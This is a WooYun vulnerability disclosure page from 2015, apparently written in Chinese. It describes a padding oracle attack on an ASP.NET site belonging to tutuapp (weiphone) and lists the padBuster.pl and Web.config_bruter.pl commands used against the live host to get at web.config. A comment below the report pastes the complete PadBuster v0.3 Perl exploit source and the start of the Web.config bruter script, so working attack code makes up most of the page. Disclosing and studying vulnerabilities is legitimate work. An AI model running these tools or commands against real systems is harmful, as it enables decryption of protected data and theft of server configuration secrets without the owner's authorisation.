当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102853

漏洞标题:威锋网某站Padding Oracle Vulnerability信息泄露漏洞利用过程

相关厂商:weiphone

漏洞作者: 几何黑店

提交时间:2015-03-21 21:11

修复时间:2015-03-24 13:51

公开时间:2015-03-24 13:51

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-21: 细节已通知厂商并且等待厂商处理中
2015-03-23: 厂商已经确认,细节仅向厂商公开
2015-03-24: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

这次跑的到挺快,上次跑了8个小时才出来
神器在手,天下我有

详细说明:

无聊中,翻翻了手机,发现有个兔兔助手,上网查了查,找找二级域名,恩?ASPX的,看来有戏

QQ图片20150321162820.png


让我们来翻翻源代码

QQ图片20150321162952.png


嗯,有预感,绝对能成,,来跑跑看

padBuster.pl http://mail.tutuapp.com/WebResource.axd?d=PG-vNzrJAe0x8wW9Qe32fQ2 PG-vNzrJAe0x8wW9Qe32fQ2 16 -encoding 3 -plaintext "|||~/web.config"


QQ图片20150321164222.jpg


跑出第一步密钥

漏洞证明:

获得第一个密钥以后,我们来跑最终的密钥

Web.config_bruter.pl http://mail.tutuapp.com/ScriptResource.axd WL0xH7zMv1v_Nz-6EP4qhQAAAAAAAAAAAAAAAAAAAAA1 16


跑出最终密钥

QQ图片20150321164413.png


http://mail.tutuapp.com/ScriptResource.axd?d=-3hhH7QLUwWrXwAMYvLLaVi9MR-8zL9b_zc_uhD-KoUAAAAAAAAAAAAAAAAAAAAA0


QQ图片20150321162419.png

修复方案:

你懂的

版权声明:转载请注明来源 几何黑店@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-23 19:59

厂商回复:

谢谢提醒

最新状态:

2015-03-24:已经修复。


漏洞评价:

评论

  1. 2015-03-21 23:04 | 指贱 ( 路人 | Rank:24 漏洞数:21 | 吾乃屌丝。)

    求神器。

  2. 2015-03-22 10:25 | Me_Fortune ( 普通白帽子 | Rank:209 漏洞数:71 | I'm Me_Fortune)

    这种洞就没利用成功过= =。

  3. 2015-03-22 14:37 | topper ( 实习白帽子 | Rank:42 漏洞数:14 | 这个家伙很懒,什么也没留下~)

    我跑了十几个小时还没跑出来。。。

  4. 2015-03-23 11:21 | feiyu ( 实习白帽子 | Rank:33 漏洞数:10 )

    求神器

  5. 2015-03-24 14:08 | 1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少,你可别骗我!!!)

    这个案例真的少见

  6. 2015-03-24 14:51 | mtfly ( 路人 | Rank:26 漏洞数:6 | 啥都不会)

    常年遇见这种漏洞,从来!从来没有成功过。。。

  7. 2015-03-24 19:16 | Mr.R ( 实习白帽子 | Rank:52 漏洞数:14 | 求大神带我飞 qq2584110147)

    真心没成功过。

  8. 2015-03-24 22:03 | 几何黑店 ( 核心白帽子 | Rank:1527 漏洞数:231 | 我要低调点儿.......)

    @Mr.R @mtfly @Me_Fortune 最近测试了很多站,成功率还是可以的

  9. 2015-03-24 22:43 | idarker ( 路人 | Rank:0 漏洞数:1 | 爱生活,╮(╯▽╰)╭)

    常年遇见这种漏洞,从来!从来没有成功过。。。- - 终于看到了一次了

  10. 2015-03-24 23:10 | 几何黑店 ( 核心白帽子 | Rank:1527 漏洞数:231 | 我要低调点儿.......)

    @idarker http://wooyun.org/bugs/wooyun-2015-0100925 这个才是我发的第一个

  11. 2015-03-25 10:08 | 黄大胖 ( 路人 | Rank:0 漏洞数:1 | 努力做一个安静的白帽子)

    求神器。

  12. 2015-03-25 15:35 | 403 ( 普通白帽子 | Rank:111 漏洞数:10 | 菜鸟一名)

    求神器

  13. 2015-03-25 16:24 | llkoio ( 路人 | Rank:20 漏洞数:3 | 热爱网络安全!)

    求神器。

  14. 2015-03-25 20:30 | 有归于无 ( 实习白帽子 | Rank:84 漏洞数:15 | 有归于无)

    wvs扫出很多,从来没成功过

  15. 2015-03-25 22:41 | MyKings ( 普通白帽子 | Rank:114 漏洞数:24 )

    <code>#!/usr/bin/perl## PadBuster v0.3 – Automated script for performing Padding Oracle attacks# Brian Holyfield – Gotham Digital Science (labs@gdssecurity.com)## Credits to J.Rizzo and T.Duong for providing proof of concept web exploit# techniques and S.Vaudenay for initial discovery of the attack. Credits also# to James M. Martin (research@esptl.com) for sharing proof of concept exploit# code for performing various brute force attack techniques.#use LWP::UserAgent;use strict;use Getopt::Std;use MIME::Base64;use URI::Escape;use Getopt::Long;use Time::HiRes qw( gettimeofday );use Compress::Zlib;GetOptions( “log” => \my $logFiles, “post=s” => \my $post, “encoding=s” => \my $encoding, “headers=s” => \my $headers, “cookies=s” => \my $cookie, “error=s” => \my $error, “prefix=s” => \my $prefix, “intermediate=s” => \my $intermediaryInput, “ciphertext=s” => \my $cipherInput, “plaintext=s” => \my $plainTextInput, “encodedtext=s” => \my $encodedPlainTextInput, “noencode” => \my $noEncodeOption, “veryverbose” => \my $superVerbose, “proxy” => \my $proxy, “proxyauth” => \my $proxyAuth, “noiv” => \my $noIv, “auth=s” => \my $auth, “resume=s” => \my $resumeBlock, “interactive” => \my $interactive, “bruteforce” => \my $bruteForce, “ignorecontent” => \my $ignoreContent, “usebody” => \my $useBody, “verbose” => \my $verbose);print “\n+——————————————-+\n”;print “| PadBuster – v0.3 |\n”;print “| Brian Holyfield – Gotham Digital Science |\n”;print “| labs\@gdssecurity.com |\n”;print “+——————————————-+\n”;if ($#ARGV < 2) { die “ Use: padBuster.pl URL EncryptedSample BlockSize [options] Where: URL = The target URL (and query string if applicable) EncryptedSample = The encrypted value you want to test. Must also be present in the URL, PostData or a Cookie BlockSize = The block size being used by the algorithmOptions: -auth [username:password]: HTTP Basic Authentication -bruteforce: Perform brute force against the first block -ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded) -cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2) -encoding [0-4]: Encoding Format of Sample (Default 0) 0=Base64, 1=Lower HEX, 2=Upper HEX 3=.NET UrlToken, 4=WebSafe Base64 -encodedtext [Encoded String]: Data to Encrypt (Encoded) -error [Error String]: Padding Error Message -headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2) -interactive: Prompt for confirmation on decrypted bytes -intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded) -log: Generate log files (creates folder PadBuster.DDMMYY) -noencode: Do not URL-encode the payload (encoded by default) -noiv: Sample does not include IV (decrypt first block) -plaintext [String]: Plain-Text to Encrypt -post [Post Data]: HTTP Post Data String -prefix [Prefix]: Prefix bytes to append to each sample (Encoded) -proxy [address:port]: Use HTTP/S Proxy -proxyauth [username:password]: Proxy Authentication -resume [Block Number]: Resume at this block number -usebody: Use response body content for response analysis phase -verbose: Be Verbose -veryverbose: Be Very Verbose (Debug Only)“;}# Ok, if we’ve made it this far we are ready to begin..my $url = @ARGV[0];my $sample = @ARGV[1];my $blockSize = @ARGV[2];if ($url eq “” || $sample eq “” || $blockSize eq “”){print “\nERROR: The URL, EncryptedSample and BlockSize cannot be null.\n”;exit();}# Hard Coded Inputs#$post = “”;#$sample = “”;my $method = $post ? “POST” : “GET”;# These are file related variablesmy $dirName = “PadBuster.” . getTime(“F”);my $dirSlash = “/”;my $dirCmd = “mkdir “;if ($ENV{‘OS’} =~ /Windows/) { $dirSlash = “\\”; $dirCmd = “md “;}my $dirExists = 0;my $printStats = 0;my $requestTracker = 0;my $timeTracker = 0;if ($encoding < 0 || $encoding > 4){print “\nERROR: Encoding must be a value between 0 and 4\n”;exit();}my $encodingFormat = $encoding ? $encoding : 0;my $encryptedBytes = $sample;my $totalRequests = 0;# See if the sample needs to be URL decoded, otherwise don’t (the plus from B64 will be a problem)if ($sample =~ /\%/){$encryptedBytes = uri_unescape($encryptedBytes)}# Prep the sample for regex use$sample = quotemeta $sample;# Now decode$encryptedBytes = myDecode($encryptedBytes, $encodingFormat);if ( (length($encryptedBytes) % $blockSize) > 0){print “\nERROR: Encrypted Bytes must be evenly divisible by Block Size ($blockSize)\n”;print ” Encrypted sample length is “.int(length($encryptedBytes)).”. Double check the Encoding and Block Size.\n”;exit();}# If no IV, then append nulls as the IV (only if decrypting)if ($noIv && !$bruteForce && !$plainTextInput){$encryptedBytes = “\x00″ x $blockSize . $encryptedBytes;}# PlainTextBytes is where the complete decrypted sample will be stored (decrypt only)my $plainTextBytes;# This is a bool to make sure we know where to replace the sample stringmy $wasSampleFound = 0;# ForgedBytes is where the complete forged sample will be stored (encrypt only)my $forgedBytes;# Isolate the IV into a separate byte arraymy $ivBytes = substr($encryptedBytes, 0, $blockSize);# Declare some optional elements for storing the results of the first test iteration# to help the user if they don’t know what the padding error looks likemy @oracleCantidates;my $oracleSignature = “”;my %oracleGuesses;my %responseFileBuffer;# The block count should be the sample divided by the blocksizemy $blockCount = int(length($encryptedBytes)) / int($blockSize);if (!$bruteForce && !$plainTextInput && $blockCount < 2){print “\nERROR: There is only one block. Try again using the -noiv option.\n”;exit();}# The attack works by sending in a real cipher text block along with a fake block in front of it# You only ever need to send two blocks at a time (one real one fake) and just work through# the sample one block at a time# First, re-issue the original request to let the user know if something is potentially brokenmy ($status, $content, $location, $contentLength) = makeRequest($method, $url, $post, $cookie);myPrint(“\nINFO: The original request returned the following”,0);myPrint(“[+] Status: $status”,0);myPrint(“[+] Location: $location”,0);myPrint(“[+] Content Length: $contentLength\n”,0);myPrint(“[+] Response: $content\n”,1);$encodedPlainTextInput ? $plainTextInput = myDecode($encodedPlainTextInput,$encodingFormat) : “”;if ($bruteForce){myPrint(“INFO: Starting PadBuster Brute Force Mode”,0);my $bfAttempts = 0;$resumeBlock ? print “INFO: Resuming previous brute force at attempt $resumeBlock\n” : “”;# Only loop through the first 3 bytes…this should be enough as it# requires 16.5M+ requestsmy @bfSamples;my $sampleString = “\x00″ x 2;for my $c (0 … 255){ substr($sampleString, 0, 1, chr($c)); for my $d (0 … 255) { substr($sampleString, 1, 1, chr($d)); push (@bfSamples, $sampleString); }}foreach my $testVal (@bfSamples){ my $complete = 0; while ($complete == 0) { my $repeat = 0; for my $b (0 … 255) { $bfAttempts++; if ($resumeBlock && ( $bfAttempts < ($resumeBlock – ($resumeBlock % 256)+1) ) ) { #SKIP } else { my $testBytes = chr($b).$testVal; $testBytes .= “\x00″ x ($blockSize-3); my $combinedBf = $testBytes; $combinedBf .= $encryptedBytes; $combinedBf = myEncode($combinedBf, $encoding); # Add the Query String to the URL my ($testUrl, $testPost, $testCookies) = prepRequest($url, $post, $cookie, $sample, $combinedBf); # Issue the request my ($status, $content, $location, $contentLength) = makeRequest($method, $testUrl, $testPost, $testCookies); my $signatureData = “$status\t$contentLength\t$location”; $useBody ? ($signatureData = “$status\t$contentLength\t$location\t$content”) : “” ; if ($oracleSignature eq “”) {$b == 0 ? myPrint(“[+] Starting response analysis…\n”,0) : “”;$oracleGuesses{$signatureData}++;$responseFileBuffer{$signatureData} = “Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content”;if ($b == 255){myPrint(“*** Response Analysis Complete ***\n”,0);determineSignature();$printStats = 1;$timeTracker = 0;$requestTracker = 0;$repeat = 1;$bfAttempts = 0;} } if ($oracleSignature ne “” && $oracleSignature ne $signatureData) {myPrint(“\nAttempt $bfAttempts – Status: $status – Content Length: $contentLength\n$testUrl\n”,0);writeFile(“Brute_Force_Attempt_”.$bfAttempts.”.txt”, “URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content”); } } } ($repeat == 1) ? ($complete = 0) : ($complete = 1); }}}elsif ($plainTextInput){# ENCRYPT MODEmyPrint(“INFO: Starting PadBuster Encrypt Mode”,0);# The block count will be the plaintext divided by blocksize (rounded up)my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);myPrint(“[+] Number of Blocks: “.$blockCount.”\n”,0);my $padCount = ($blockSize * $blockCount) – length($plainTextInput);$plainTextInput.= chr($padCount) x $padCount;# SampleBytes is the encrypted text you want to derive intermediate values for, so# copy the current ciphertext block into sampleBytes# Note, nulls are used if not provided and the intermediate values are brute forced$forgedBytes = $cipherInput ? myDecode($cipherInput,1) : “\x00″ x $blockSize;my $sampleBytes = $forgedBytes;for (my $blockNum = $blockCount; $blockNum > 0; $blockNum–){# IntermediaryBytes is where the intermediate bytes produced by the algorithm are storedmy $intermediaryBytes;if ($intermediaryInput && $blockNum == $blockCount){$intermediaryBytes = myDecode($intermediaryInput,2);}else{$intermediaryBytes = processBlock($sampleBytes);} # Now XOR the intermediate bytes with the corresponding bytes from the plain-text block # This will become the next ciphertext block (or IV if the last one) $sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);$forgedBytes = $sampleBytes.$forgedBytes;myPrint(“\nBlock “.($blockNum).” Results:”,0);myPrint(“[+] New Cipher Text (HEX): “.myEncode($sampleBytes,1),0);myPrint(“[+] Intermediate Bytes (HEX): “.myEncode($intermediaryBytes,1).”\n”,0);}$forgedBytes = myEncode($forgedBytes, $encoding);chomp($forgedBytes);}else{# DECRYPT MODEmyPrint(“INFO: Starting PadBuster Decrypt Mode”,0);if ($resumeBlock){myPrint(“INFO: Resuming previous exploit at Block $resumeBlock\n”,0);}else{$resumeBlock = 1}# Assume that the IV is included in our sample and that the first block is the IVfor (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++){# Since the IV is the first block, our block count is artificially inflated by onemyPrint(“*** Starting Block “.($blockNum-1).” of “.($blockCount-1).” ***\n”,0);# SampleBytes is the encrypted text you want to break, so# lets copy the current ciphertext block into sampleBytesmy $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize – $blockSize), $blockSize);# IntermediaryBytes is where the the intermediary bytes produced by the algorithm are storedmy $intermediaryBytes = processBlock($sampleBytes);# DecryptedBytes is where the decrypted block is storedmy $decryptedBytes;# Now we XOR the decrypted byte with the corresponding byte from the previous block# (or IV if we are in the first block) to get the actual plain-text$blockNum == 2 ? $decryptedBytes = $intermediaryBytes ^ $ivBytes : $decryptedBytes = $intermediaryBytes ^ substr($encryptedBytes, (($blockNum – 2) * $blockSize), $blockSize);myPrint(“\nBlock “.($blockNum-1).” Results:”,0);myPrint(“[+] Cipher Text (HEX): “.myEncode($sampleBytes,1),0);myPrint(“[+] Intermediate Bytes (HEX): “.myEncode($intermediaryBytes,1),0);myPrint(“[+] Plain Text: $decryptedBytes\n”,0);$plainTextBytes = $plainTextBytes.$decryptedBytes;}}myPrint(“——————————————————-“,0);myPrint(“** Finished ***\n”, 0);if ($plainTextInput){myPrint(“[+] Encrypted value is: “.uri_escape($forgedBytes),0);}else{myPrint(“[+] Decrypted value (ASCII): $plainTextBytes\n”,0);myPrint(“[+] Decrypted value (HEX): “.myEncode($plainTextBytes,2).”\n”, 0);myPrint(“[+] Decrypted value (Base64): “.myEncode($plainTextBytes,0).”\n”, 0);}myPrint(“——————————————————-\n”,0);sub determineSignature(){# Help the user detect the oracle response if an error string was not provided# This logic will automatically suggest the response pattern that occured most often# during the test as this is the most likeley onemy @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;myPrint(“The following response signatures were returned:\n”,0);myPrint(“——————————————————-“,0);if ($useBody){myPrint(“ID#\tFreq\tStatus\tLength\tChksum\tLocation”,0);}else{myPrint(“ID#\tFreq\tStatus\tLength\tLocation”,0);}myPrint(“——————————————————-“,0);my $id = 1;foreach (@sortedGuesses){my $line = $id;($id == $#sortedGuesses+1 && $#sortedGuesses != 0) ? $line.= ” **” : “”;my @sigFields = split(“\t”, $_);$line .= “\t$oracleGuesses{$_}\t@sigFields[0]\t@sigFields[1]”;$useBody ? ( $line .= “\t”.unpack( ‘%32A*’, @sigFields[3] ) ) : “”;$line .= “\t@sigFields[2]”;myPrint($line,0);writeFile(“Response_Analysis_Signature_”.$id.”.txt”, $responseFileBuffer{$_});$id++;}myPrint(“——————————————————-“,0);if ($#sortedGuesses == 0 && !$bruteForce){myPrint(“\nERROR: All of the responses were identical.\n”,0);myPrint(“Double check the Block Size and try again.”,0);exit();}else{my $responseNum = &promptUser(“\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended”);myPrint(“\nContinuing test with selection $responseNum\n”,0);$oracleSignature = @sortedGuesses[$responseNum-1];}}sub prepRequest{my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;# Prepare the requestmy $testUrl = $pUrl;my $wasSampleFound = 0;if ($pUrl =~ /$pSample/){$testUrl =~ s/$pSample/$pTestBytes/;$wasSampleFound = 1;}my $testPost = “”;if ($pPost){$testPost = $pPost;if ($pPost =~ /$pSample/){$testPost =~ s/$pSample/$pTestBytes/;$wasSampleFound = 1;}}my $testCookies = “”;if ($pCookie){$testCookies = $pCookie;if ($pCookie =~ /$pSample/){$testCookies =~ s/$pSample/$pTestBytes/;$wasSampleFound = 1;}}if ($wasSampleFound == 0){myPrint(“ERROR: Encrypted sample was not found in the test request”,0);exit();}return ($testUrl, $testPost, $testCookies);}sub processBlock{ my ($sampleBytes) = @_; # Analysis mode is either 0 (response analysis) or 1 (exploit) (!$error && $oracleSignature eq “”) ? my $analysisMode = 0 : my $analysisMode = 1; # The return value of this subroutine is the intermediate text for the blockmy $returnValue; my $complete = 0; my $autoRetry = 0; my $hasHit = 0; while ($complete == 0) { # Reset the return value $returnValue = “”; my $repeat = 0;# TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attackmy $testBytes = “\x00″ x $blockSize;my $falsePositiveDetector = 0;# Work on one byte at a time, starting with the last byte and moving backwardsOUTERLOOP:for (my $byteNum = $blockSize – 1; $byteNum >= 0; $byteNum–){INNERLOOP:for (my $i = 255; $i >= 0; $i–){# Fuzz the test bytesubstr($testBytes, $byteNum, 1, chr($i));# Combine the test bytes and the samplemy $combinedTestBytes = $testBytes.$sampleBytes;if ($prefix){$combinedTestBytes = myDecode($prefix,$encodingFormat).$combinedTestBytes}$combinedTestBytes = myEncode($combinedTestBytes, $encodingFormat);chomp($combinedTestBytes);if (! $noEncodeOption){$combinedTestBytes = uri_escape($combinedTestBytes);}my ($testUrl, $testPost, $testCookies) = prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);# Ok, now make the requestmy ($status, $content, $location, $contentLength) = makeRequest($method, $testUrl, $testPost, $testCookies);my $signatureData = “$status\t$contentLength\t$location”;$useBody ? ($signatureData = “$status\t$contentLength\t$location\t$content”) : “”;# If this is the first block and there is no padding error message defined, then cycle through# all possible requests and let the user decide what the padding error behavior is.if ($analysisMode == 0){$i == 255 ? myPrint(“INFO: No error string was provided…starting response analysis\n”,0) : “”;$oracleGuesses{$signatureData}++;$responseFileBuffer{$signatureData} = “URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content”;if ($byteNum == $blockSize – 1 && $i == 0){myPrint(“*** Response Analysis Complete ***\n”,0);determineSignature();$analysisMode = 1;$repeat = 1;last OUTERLOOP;}}my $continue = “y”;if (($error && $content !~ /$error/) || ($oracleSignature ne “” && $oracleSignature ne $signatureData)){# This is for autoretry logic (only works on the first byte)if ($autoRetry == 1 && ($byteNum == ($blockSize – 1) ) && $hasHit == 0 ){$hasHit++;}else{# If there was no padding error, then it workedmyPrint(“[+] Success: ($i) [Byte “.($byteNum+1).”]”,0);myPrint(“[+] Test Byte:”.uri_escape(substr($testBytes, $byteNum, 1)),1);# If continually getting a hit on attempt zero, then something is probably wrong$i == 255 ? $falsePositiveDetector++ : “”;if ($interactive == 1){$continue = &promptUser(“Do you want to use this value (Yes/No/All)? [y/n/a]”,””,1);}if ($continue eq “y” | $continue eq “a”){$continue eq “a” ? $interactive = 0 : “”;# Next, calculate the decrypted byte by XORing it with the padding valuemy ($currentPaddingByte, $nextPaddingByte);# These variables could allow for flexible padding schemes (for now PCKS)# For PCKS#7, the padding block is equal to chr($blockSize – $byteNum)$currentPaddingByte = chr($blockSize – $byteNum);$nextPaddingByte = chr($blockSize – $byteNum + 1);my $decryptedByte = substr($testBytes, $byteNum, 1) ^ $currentPaddingByte;myPrint(“[+] XORing with Padding Char, which is “.uri_escape($currentPaddingByte),1);$returnValue = $decryptedByte.$returnValue;myPrint(“[+] Decrypted Byte is: “.uri_escape($decryptedByte),1);# Finally, update the test bytes in preparation for the next round, based on the padding usedfor (my $k = $byteNum; $k < $blockSize; $k++){# First, XOR the current test byte with the padding value for this round to recover the decrypted bytesubstr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));# Then, XOR it again with the padding byte for the next roundsubstr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));}last INNERLOOP;}}}## TODO: Combine these two blocks?if ($i == 0 && $analysisMode == 1){# End of the road with no success. We should probably try again.myPrint(“ERROR: No matching response on [Byte “.($byteNum+1).”]”,0);if ($autoRetry == 0 && ($byteNum == ($blockSize – 2) ) ){$autoRetry = 1;myPrint(” Automatically trying one more time…”,0);$repeat = 1;last OUTERLOOP;}else{if (($byteNum == $blockSize – 1) && ($error)){myPrint(“\nAre you sure you specified the correct error string?”,0);myPrint(“Try re-running without the -e option to perform a response analysis.\n”,0);}$continue = &promptUser(“Do you want to start this block over? (Yes/No)? [y/n/a]”,””,1);if ($continue ne “n”){myPrint(“INFO: Switching to interactive mode”,0);$interactive = 1;$repeat = 1;last OUTERLOOP;}}}if ($falsePositiveDetector == $blockSize){myPrint(“\n*** ERROR: It appears there are false positive results. ***\n”,0);myPrint(“HINT: The most likely cause for this is an incorrect error string.\n”,0);if ($error){myPrint(“[+] Check the error string you provided and try again, or consider running”,0);myPrint(“[+] without an error string to perform an automated response analysis.\n”,0);}else{myPrint(“[+] You may want to consider defining a custom padding error string”,0);myPrint(“[+] instead of the automated response analysis.\n”,0);}$continue = &promptUser(“Do you want to start this block over? (Yes/No)? [y/n/a]”,””,1);if ($continue eq “y”){myPrint(“INFO: Switching to interactive mode”,0);$interactive = 1;$repeat = 1;last OUTERLOOP;}}}}($repeat == 1) ? ($complete = 0) : ($complete = 1);}return $returnValue;}sub makeRequest { my ($method, $url, $data, $cookie) = @_; my ($noConnect, $numRetries, $lwp, $status, $content, $req, $location, $contentLength); $requestTracker++; #print “$url\n\n”; do { $lwp = LWP::UserAgent->new(env_proxy => 1, keep_alive => 1, timeout => 30, requests_redirectable => [], ); $req = new HTTP::Request $method => $url; # Add request content for POST and PUTS if ($data ne “”) { $req->content_type(‘application/x-www-form-urlencoded’); $req->content($data); } if ($proxy) { my $proxyUrl = “http://”; if ($proxyAuth) { my ($proxyUser, $proxyPass) = split(“:”,$proxyAuth); $ENV{HTTPS_PROXY_USERNAME} = $proxyUser;$ENV{HTTPS_PROXY_PASSWORD} = $proxyPass;$proxyUrl .= $proxyAuth.”@”; } $proxyUrl .= $proxy; $lwp->proxy([‘http’], $proxyUrl);$ENV{HTTPS_PROXY} = “http://”.$proxy; } if ($auth) { my ($httpuser, $httppass) = split(/:/,$auth); $req->authorization_basic($httpuser, $httppass); } # If cookies are defined, add a COOKIE header if (! $cookie eq “”) { $req->header(Cookie => $cookie); } if ($headers) { my @customHeaders = split(/;/i,$headers); for (my $i = 0; $i <= $#customHeaders; $i++) { my ($headerName, $headerVal) = split(/\::/i,$customHeaders[$i]); $req->header($headerName, $headerVal); } } my $startTime = gettimeofday(); my $response = $lwp->request($req); my $endTime = gettimeofday(); $timeTracker = $timeTracker + ($endTime – $startTime); if ($printStats == 1 && $requestTracker % 250 == 0) { print “[+] $requestTracker Requests Issued (Avg Request Time: “.(sprintf “%.3f”, $timeTracker/100).”)\n”; $timeTracker = 0; } # Extract the required attributes from the response $status = substr($response->status_line, 0, 3); $content = $response->content; $superVerbose ? myPrint(“Response Content:\n$content”,0) : “”; $location = $response->header(“Location”); if ($location eq “”) { $location = “N/A”; } $contentLength = $response->header(“Content-Length”); my $contentEncoding = $response->header(“Content-Encoding”); if ($contentEncoding =~ /GZIP/i ) { $content = Compress::Zlib::memGunzip($content); $contentLength = length($content); } my $statusMsg = $response->status_line; #myPrint(“Status: $statusMsg, Location: $location, Length: $contentLength”,1); if ($statusMsg =~ /Can’t connect/) { print “ERROR: $statusMsg\n Retrying in 10 seconds…\n\n”; $noConnect = 1; $numRetries++; sleep 10; } else { $noConnect = 0; $totalRequests++; } } until (($noConnect == 0) || ($numRetries >= 15)); if ($numRetries >= 15) { myPrint(“ERROR: Number of retries has exceeded 15 attempts…quitting.\n”,0); exit; } return ($status, $content, $location, $contentLength);}sub myPrint { my ($printData, $printLevel) = @_; $printData = $printData.”\n”; if (($verbose && $printLevel > 0) || $printLevel < 1 || $superVerbose) { print $printData; writeFile(“ActivityLog.txt”,$printData); }}sub myEncode { my ($toEncode, $format) = @_; return encodeDecode($toEncode, 0, $format);}sub myDecode { my ($toDecode, $format) = @_; return encodeDecode($toDecode, 1, $format);}sub encodeDecode { my ($toEncodeDecode, $oper, $format) = @_; # Oper: 0=Encode, 1=Decode # Format: 0=Base64, 1 Hex Lower, 2 Hex Upper, 3=NetUrlToken my $returnVal = “”; if ($format == 1 || $format == 2) { # HEX if ($oper == 1) { #Decode #Always convert to lower when decoding) $toEncodeDecode = lc($toEncodeDecode);$returnVal = pack(“H*”,$toEncodeDecode); } else { #Encode$returnVal = unpack(“H*”,$toEncodeDecode);if ($format == 2){ #Uppercase$returnVal = uc($returnVal) } } } elsif ($format == 3) { # NetUrlToken if ($oper == 1) {$returnVal = web64Decode($toEncodeDecode,1); } else {$returnVal = web64Encode($toEncodeDecode,1); } } elsif ($format == 4) { # Web64 if ($oper == 1) { $returnVal = web64Decode($toEncodeDecode,0); } else { $returnVal = web64Encode($toEncodeDecode,0); } } else { # B64 if ($oper == 1) { $returnVal = decode_base64($toEncodeDecode); } else { $returnVal = encode_base64($toEncodeDecode); $returnVal =~ s/(\r|\n)//g; } } return $returnVal;}sub web64Encode { my ($input, $net) = @_; # net: 0=No Padding Number, 1=Padding (NetUrlToken) $input = encode_base64($input); $input =~ s/(\r|\n)//g; $input =~ s/\+/\-/g; $input =~ s/\//\_/g; my $count = $input =~ s/\=//g; ($count eq “”) ? ($count = 0) : “”; ($net == 1) ? $input.= $count : “”; return $input;}sub web64Decode { my ($input, $net) = @_; # net: 0=No Padding Number, 1=Padding (NetUrlToken) $input =~ s/\-/\+/g; $input =~ s/\_/\//g; if ($net == 1) { my $count = chop($input); $input = $input.(“=” x int($count)); } return decode_base64($input);}sub promptUser { my($prompt, $default, $yn) = @_; my $defaultValue = $default ? “[$default]” : “”; print “$prompt $defaultValue: “; chomp(my $input = <STDIN>); $input = $input ? $input : $default; if ($yn) { if ($input =~ /^y|n|a$/) { return $input; } else { promptUser($prompt, $default, $yn); } } else { if ($input =~ /^-?\d/ && $input > 0 && $input < 256) { return $input; } else { promptUser($prompt, $default); } }}sub writeFile{ my ($fileName, $fileContent) = @_; if ($logFiles) { if ($dirExists != 1) { system($dirCmd.” “.$dirName); $dirExists = 1; } $fileName = $dirName.$dirSlash.$fileName; open(OUTFILE, “>>$fileName”) or die “ERROR: Can’t write to file $fileName\n”; print OUTFILE $fileContent; close(OUTFILE); }}sub getTime { my ($format) = @_; my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time); my @months = (“JAN”,”FEB”,”MAR”,”APR”,”MAY”,”JUN”,”JUL”,”AUG”,”SEP”,”OCT”,”NOV”,”DEC”); my @days = (“SUN”,”MON”,”TUE”,”WED”,”THU”,”FRI”,”SAT”); ($minute < 10) ? ($minute = “0”.$minute) : “”; ($second < 10) ? ($second = “0”.$second) : “”; ($day < 10) ? ($day = “0”.$day) : “”; ($month < 10) ? ($month = “0”.$month) : “”; ($hour < 10) ? ($hour = “0”.$hour) : “”; $year =~ s/^.//; if ($format eq “F”) { return $day.$months[$month].$year.”-“.( ($hour * 3600) + ($minute * 60) + ($second) ); } elsif ($format eq “S”) { return $months[$month].” “.$day.”, 20″.$year.” at “.$hour.”:”.$minute.”:”.$second; } else { return $hour.”:”.$minute.”:”.$second; }}Webconfig Bruter.pl# Source: http://blog.mindedsecurity.com/2010/10/breaking-net-encryption-with-or-without.html#!/usr/bin/perl### Webconfig Bruter – exploit tool for downloading Web.config## FOr use this script you need Pudbuster.# Padbuster is a great tool and Brian Holyfield deserve all the credits.# Note from Exploit-db: This very first exploit was meant to work with Padbusterdornet or Padbuster v0.2.# A similar exploitation vector was also added lately in Padbuster v0.3:# http://www.gdssecurity.com/l/b/2010/10/04/padbuster-v0-3-and-the-net-padding-oracle-attack/# http://www.exploit-db.com/sploits/padBuster.pl### Giorgio Fedon – (giorgio.fedon@mindedsecurity.com)#use LWP::UserAgent;use strict;use Getopt::Std;use MIME::Base64;use URI::Escape;use Getopt::Long;#Definition of vars for .NETmy $toEncodeDecode;my $b64Encoded;my $string;my $returnVal;my $testUrl;my $testBytes;my $sampleBytes;my $testUrl = @ARGV[0].”\?d\=”;my $sampleBytes = @ARGV[1];my $blockSize = @ARGV[2];if ($#ARGV < 2) { die “ Use: Web.config_bruter.pl ScriptResourceUrl Encrypted_Sample BlockSize Where: URL = The target URL (and query string if applicable) EncryptedSample = The encrypted value you want to use. This need to come from Padbuster. BlockSize = The block size being used by the algorithm (8 or 16) Poc code by giorgio.fedon\@mindedsecurity.com Original Padbuster code from Brian Holyfield – Gotham Digital ScienceCommand Example:./Web.config_bruter.pl https://127.0.0.1:8083/ScriptResource.axd 